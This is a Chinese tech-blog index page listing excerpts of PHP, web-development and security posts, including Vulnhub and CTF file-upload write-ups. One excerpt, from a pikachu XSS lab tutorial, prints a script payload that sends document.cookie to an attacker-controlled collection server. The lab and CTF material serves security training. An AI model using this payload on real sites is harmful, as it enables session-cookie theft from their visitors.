PHP

提升ChatGPT性能的实用指南:Prompt Engineering的艺术

一起探索 Prompt Engineering 的奥秘,并学习如何用它来让 ChatGPT 发挥出最大的潜力。 什么是提示工程? 提示工程是一门新兴学科,就像是为大语言模型(LLM)设计的"语言游戏"。通过这个"游戏",我们可以更有效地引导 LLM 来处理问题。只有熟悉了这个游戏的规则,我们才能更清楚地认识到 LLM 的能力和局限。 这个"游戏"不仅帮助我们理解 LLM,它也是提升 LLM 能力

Xpath定位方式

Xpath定位方法  **浏览器中如何找到元素** Chrome浏览器:按F12,将鼠标点击下图中的图标,再到浏览器页面上选择需要定位的元素,Elements页中就会自动定位高亮显示页面中的元素。 1.1.绝对路径定位 顾名思义,将Xpath表达式从html的最外层节点,逐层填写,最后定位到操作元素 类似: /html/body/app-root/html/body/app-ro

十分钟快速建站之在线论坛Discuz部署实战

                                                server {

Vulnhub 靶场 MATRIX-BREAKOUT: 2 MORPHEUS

前期准备: 靶机地址:https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/ kali攻击机ip:192.168.11.11 靶机ip:192.168.11.12 一、信息收集及利用 1.使用nmap对目标靶机进行扫描 发现开放了 22、80、81 端口。 2. 80 端口 访问 80 端口: 查看页面信息没发现什么重要信息,

Wampserver搭建DVWA和sqli-labs问题总结

Wampserver 搭建 DVWA 和 sqli-labs 问题总结 遇到问题解决的思路方法 百度,博客去搜索相关的问题,人工智能 chatgpt 查看官方文档,查看注释。 本次解决方法就是在文档的注释里面发现修改配置需要到另外一个文件里面去修改 增加办公效率工具推荐 uTools 内含各种插件,非常方便。 个人经常使用 OCR,截图翻译,快速查询本地 IP,编码和解码等等。 1.A

xss--xss平台搭建

pikachu get型xss 1、xss平台需要先修改配置文件    2、payload:<script>document.location='http://192.168.221.135(xss平台的ip地址)/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

gitee教程

目录 1、gitee是什么? 2、git网站上的注册登录 3、准备工作 4、上传文件到gitee 5、下载自己的仓库和别人的 *6、基本命令汇总: 1、gitee是什么? 基于git的代码托管协助平台 2、git网站上的注册登录 打开git

百度WebUploader 大文件分片上传处理

​  一、概述   所谓断点续传,其实只是指下载,也就是要从文件已经下载的地方开始继续下载。在以前版本的HTTP协议是不支持断点的,HTTP/1.1开始就支持了。一般断点下载时才用到Range和Content-Range实体头。HTTP协议本身不支持断点上传,需要自己实现。   二、Range    用于请求头中,指定第一个字节的位置和最后一个字节

随机-时隔一年我又回来了

以前的博客安装在Liux系统上面的大概在18年的时候,用的宝塔面板,用起来很舒服,直接用一个网页就把系统管理起来了简直是神器一版的存在,可以用 nginx或者是apache 可以用来件无数个站点。一般标配的是PHP的环境。那时候每天写点东西,在网上看看朋友(友联)。 在学校学习的是Csharp 【没有那麽多优秀的项目】,用的还是 fromwork,做的webfrom和winform,工作以后便接触

CTFer成长记录——CTF之Web专题·攻防世界—ics-05

一、题目链接 https://adworld.xctf.org.cn/challenges/list?rwNmOdr=1691651594927 二、解法步骤   题目说其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统,一番探索后,发现只有设备维护中心可以访问:   在一番点击下:发现url有了变化   这里将url中的?page=index 改成?page=1 看看:   那么看看

小版本更新kubernetes

小版本更新kubernetes 背景 最近一段时间躺平了没有更新我的博客文档。感谢各位小伙伴一直以来的支持。 此脚本基于 https://github.com/cby-chen/Kubernetes/ 仓库内的安装部署文档。 此脚本仅会升级k8s相关组件其他组件不进行升级。 使用此脚本 务必是使用 该文档进行部署的集群。 脚本放在我的GitHub仓库中: https://github.com/cb

SpringCloud实现大文件上传

​  这里只写后端的代码,基本的思想就是,前端将文件分片,然后每次访问上传接口的时候,向后端传入参数:当前为第几块文件,和分片总数   下面直接贴代码吧,一些难懂的我大部分都加上注释了: 上传文件实体类: 看得出来,实体类中已经有很多我们需要的功能了,还有实用的属性。如MD5秒传的信息。 public class FileInf {  

PHP中使用es在面试中可能遇到的问题总结

                                       

web 大文件分片上传处理

​  对于大文件的处理,无论是用户端还是服务端,如果一次性进行读取发送、接收都是不可取,很容易导致内存问题。所以对于大文件上传,采用切块分段上传,从上传的效率来看,利用多线程并发上传能够达到最大效率。  本文是基于 springboot + vue 实现的文件上传,本文主要介绍服务端实现文件上传的步骤及代码实现,vue的实现步骤及实现请移步本人的另一篇文章 详细思路及源码 上传

c#.net 大文件分片上传处理

​  IE的自带下载功能中没有断点续传功能,要实现断点续传功能,需要用到HTTP协议中鲜为人知的几个响应头和请求头。   一. 两个必要响应头Accept-Ranges、ETag         客户端每次提交下载请求时,服务端都要添加这两个响应头,以保证客户端和服务端将此下载识别为可以断

打造自己的站长在线工具箱

前言 工作生活中我们经常会使用一些在线工具,比如我常用到的 Json格式化、MD5加密、图片转Base64、IP地址查询等功能,今天给大家带来一款包含一百多种的站长在线工具,除了以上实用的功能,还有火星文、特殊符号、朝代时间表等各种有趣的工具哦~ 本文讲解站长工具搭建教程,您可以通过链接:https://tool.echeverra.cn,在线体验,关注公众号 echeverra 回复“站长工具”

API 接口设计规范

  概述 这篇文章分享 API 接口设计规范,目的是提供给研发人员做参考。 规范是死的,人是活的,希望自己定的规范,不要被打脸。 路由命名规范 动作 前缀 备注 获取 get get{XXX} 获取 get get{XXX}List 新增 add add{XXX} 修改 update update{XXX}

iMX8MP HDMI图像输出 & V4L2生成MJPEG流

飞凌嵌入式OKMX8MP-C开发板基于NXP i.MX 8M Plus处理器开发设计,该系列处理器专注于机器学习与视觉、高级多媒体以及具有高可靠性的工业自动化。旨在满足智慧城市、工业互联网、智能医疗、智慧交通等应用的需求。强大的四核或双核Arm® Cortex®-A53处理器,主频高达1.6GHz,带有神经处理单元(NPU),最高运行速率可达2.3TOPS。本文采用的硬件板卡为

4--端口协议

端口的作用 一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机要区分不同的网络服务,显然不能只靠IP地址,因为IP 地址与网络服务的关系是一对多的关系。实际上是通过“IP地址+端口号”来区分不同的服务的。   例如:本地的通信端口,访问服务器端口为80,通信是这样的 http://ip 80 ftp &n

[SWPUCTF 2021 新生赛]easyupload3.0

[SWPUCTF 2021 新生赛]easyupload3.0 题目来源:nssctf 题目类型:web 涉及考点:文件上传 easyupload2.0就不写wp了,具体做法跟1.0差不多,不过在bp中把后缀名改成pht上传即可,1.0详见:[SWPUCTF 2021 新生赛]easyupload1.0 如果服务器是Apache的话,配置文件可以添加这些php别名进行解析:php3,pht,ph

Linux基础33 nginx访问认证模块, 状态模块, 连接限制, 请求限制, location

1.访问认证模块ngx_http_auth_basic_module 1)语法 2)配置密码 3)配置   2.nginx状态模块ngx_http_stub_status_module 1)语法 2)配置 3)nginx 七种状态   3.连接限制模块 ngx_http_limit_conn_module 1)语法 2)配置

电商数据搬运工具:电商数据API接口,轻松搬运淘宝京东拼多多百万商品

随着电商行业的发展,越来越多的商家开始选择在线销售渠道,而电商平台也随之崛起。很多商家都是同时在多个电商平台有店铺,为了方便商家管理和维护店铺,商家 需要在多平台直接实现数据同步和数据搬运。 一、电商数据搬运的概念电商数据搬运是指一种可以将商品信息从一个电商平台搬运到另一个电商平台的工具。这种软件可以快速将商品信息复制到另一个电商平台上,减少商家的工作量。同时,电商平台搬运软件也可以将商品信息从一

TinyMCE可以如何直接复制word的图文内容到编辑器中?

​  图片的复制无非有两种方法,一种是图片直接上传到服务器,另外一种转换成二进制流的base64码 目前限chrome浏览器使用 首先以um-editor的二进制流保存为例: 打开umeditor.js,找到UM.plugins['autoupload'],然后找到autoUploadHandler方法,注释掉其中的代码。 加入下面的代码: //判断剪贴板的内容是否包含文本 //首先解释

大型网站的演化

初始阶段 应用程序、数据库、文件等所有资源在一台服务器上。 典型架构Linux+Apache+Mysql+PHP,简称LAMP。   应用服务和数据服务分离 随着网站业务的发展,一台服务器逐渐不能满足需求:越来越多的用户访问导致性能越来越差,越来越多的数据导致存储空间不足。这时就需要将应用和数据分离。   使用缓存改善网站性能 网站访问特点和现实世界的财富分配一样遵循二八定

[SWPUCTF 2021 新生赛]easyupload1

[SWPUCTF 2021 新生赛]easyupload1.0 题目来源:nssctf 题目类型:web 涉及考点:文件上传 真服了,昨天写了wp忘记传了 最近准备学一下文件上传,就拿这道题开始吧 1. 简单介绍一下文件上传漏洞 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒

xhEditor可以如何直接复制word的图文内容到编辑器中?

​  当前功能基于PHP,其它语言流程大抵相同。 大概流程: 1. 将docx文件上传到服务器中 2. 使用PHPoffice/PHPword实现将word转换为HTML 3. 将HTML代码返回并赋值到编辑器中   1 编辑器配置修改 1.1 新增上传word json配置 在ueditorphpconfig.json中新增如下配置:     &

GIT协作流程规范

分支模型 集中式的分支模型   目前团队使用的模式属于老旧的集中式分支模型,简单的总结就是: 开发时: 团队的所有成员都在dev分支上开发(也支持少部分的特性分支feature-xxx)。 测试时: 当功能需要上测试环境测试时,把dev合并到test分支,使用test分支在测试环境中测试。 灰度时: 在发布到生产环境之前,需要经过灰度发布,此时需要把测试

php如何定义多维数组以某个字符去输出对应的值

$arr = [ [ 'id' => 123, 'test' => ['id' => 2, 'title' => "测试",'test3'=>['list'=>123]] ] ]; $field = "test.test3.list"; foreach($arr as $k=>$v){ $resul

MAT的使用(一)使用方法介绍

MAT的使用(一)使用方法介绍 1、概述想要深入的进行分析并确定内存泄漏,就要分析 疑似发生内存泄漏时所生成堆存储文件(hprof)。堆存储文件可以使用DDMS或者Memory Monitor来生成,输出的文件格式为hpof,而MAT就是来分析堆存储文件的。 MAT,全称为Memory Analysis Tool,它是Eclipse的插件, 下载地址 : https://www.eclipse.o

<<  <  97  98  99  100  101  102  103  104  105  106  107  >  >>